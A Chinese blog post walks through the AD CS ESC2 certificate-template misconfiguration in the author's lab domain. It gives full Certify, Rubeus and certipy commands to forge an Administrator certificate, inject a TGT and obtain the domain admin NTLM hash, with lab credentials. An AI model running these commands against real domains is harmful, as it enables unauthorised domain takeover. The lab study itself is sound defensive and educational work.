AD域-ADCS错误配置-ESC2
2023-09-19 / 共计2074 字
生活就像种花一样,把下一步做好,才会有好结果!
Life is like planting flowers. Only by doing the next step well will get a good results!
ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
ESC2
ESC2利用方法和ESC1一样,相当于ESC1的变种,当证书模板定义指定了Any Purpose EKU或No EKU时,该证书可以用于任何用途。 值得注意的是,ESC2的条件同样也满足ESC3的利用条件。 所以也可以使用ESC3的利用方式进行利用。 通过使用ESC3利用方式,证书的申请人可以是域管Administrator,有一定隐藏效果。
ESC2利用条件:
1、低权限用户拥有注册权限;
2、无需Administrator批准;(默认)
3、无需授权签名;(默认)
4、低权限用户有CA的请求权限;(默认)
5、证书模板定义了any Purpose EKU或no EKU;
6、证书模板允许请求者在 CSR 中指定SAN。***(若没有可使用ESC3利用方式)***
ESC2环境配置
ADCS服务器(我的域控与ADCS服务在一台服务器上)中运行中输入certtmpl.msc打开证书模板控制台进行复制工作站身份认证模板,命名为ESC2(任意命名都可以,这里只是为了区分是ESC2的模板) 低权限用户添加注册权限(满足条件1、低权限用户拥有注册权限)
扩展中应用程序策略为无(满足条件5、证书模板定义了any Purpose EKU或no EKU)
使用者名称中选择在请求中提供(满足条件6、证书模板允许请求者在 CSR 中指定 SAN。(若没有可使用ESC3利用方式))
查看成功创建了ESC2证书模板: certsrv.msc打开证书颁发机构颁发ESC2证书:
查看成功颁发ESC2证书:
不同方式利用
在ESC2条件中6、证书模板允许请求者在 CSR 中指定 SAN。 若请求者不能指定SAN, ESC2不能使用ESC1方法进行利用,但可以使用ESC3方法利用。
ESC2方式利用
当模版满足证书模板允许请求者在 CSR 中指定SAN,这时直接使用ESC1的利用方式,伪造域管身份获取证书即可。
ESC1方式-域内利用
使用Certify.exe 发现是否存在ADCS模板错误:
Certify.exe find /vulnerable
发现ESC2模版满足两个必要条件(1、低权限用户拥有注册权限;5、证书模板定义了any Purpose EKU或no EKU): 由于ESC2可以指定SAN,直接使用ESC1利用方式,伪造域管Administrator身份,注册ESC2证书:
Certify.exe /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC2 /altname:administrator
复制生成的证书保持到本地,使用openssl生成pfx格式证书文件: 没有使用申请的证书请求tgt时无法访问域控: 通过工具rubeus.exe利用伪造Administrator身份的证书请求tgt并注入内存:
rubeus.exe asktgt /user:administrator /certificate:C:\Users\user\Desktop\Certify-main\Certify\bin\x86\Debug\cert.pfx /cd:192.168.111.11 /ptt
成功访问域控服务器: 在ADCS服务器中可以看到user1用户请求的ESC2证书,但实是Administrator身份与权限:
ESC1方式-域外利用
在域环境内使用certipy工具探测是否存在ADCS模版错误漏洞:
certipy find -u [email protected] -p Testad@1234 -dc-ip 192.168.111.11 -vulnerable -debug
可以看到探测出ESC2模版满足ESC2漏洞条件: 使用域管Administrator身份注册ESC2证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC2 -upn [email protected] -debug
使用申请到的administrator.pfx进行身份认证获取到域管的NTLM Hash:
certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11
ESC3方式利用
当模版满足ESC2的两个必要条件,但是不满足证书模板允许请求者在 CSR 中指定SAN,这时无法使用ESC1的利用方式,但是仍然满足ESC3的利用条件,这时还是能过使用ESC3的利用方式获取域管权限,通过代理注册别的证书来达到获取域管身份。
ESC3方式-域内利用
使用Certify.exe注册ESC2模板(以User1的身份,证书保存为user1.pem):
Certify.exe request /ca:"DC1.t0ngmystictestad.com\t0ngmytictestad-DC1-CA" /template:ESC2
使用openssl将pem证书转换成pfx格式(这里密码为空):
openssl pkcs12 -in user1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out user1.pfx
由于ESC2满足条件5、证书模板定义了any Purpose EKU或no EKU,可以用于任何用途,这里就可以使用代理注册,代理域管Administrator注册User证书(这里使用的User证书是创建ADCS服务自带的):
Certify.exe request /ca:"DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA" /template:User /onbehalfof:t0ngmystictesta\administor /enrollcert:user1.pfx
注意:onbehalfof参数一定要使用NETBIOS的名称,NETBIOS可能和域名不一样 将申请的域管Administrator证书保存并转换成pfx格式,之后使用Rubeus.exe以域管的身份请求TGT,并注入内存:
rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /dc:192.168.111.11 /ptt
成功访问域控服务器:
ESC3方式-域外利用
在域内通过certipy注册ESC2模板证书(以User1的身份):
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC2
user1.pfx的模板是ESC2,可以用于任何用途,所以使用user1.pfx代理域管Administrator注册User模板证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template User -on-behalf-of t0ngmystictesta\Administrator -pfx user1.pfx -debug
使用代理域管Administrator注册到的administrator.pfx证书进行身份认证获取到域管的NTLM Hash:
certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11
在ADCS服务器上可以看到申请的是Administrator,并不是user1:
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
部分文章会发布公众号!
感谢您的支持!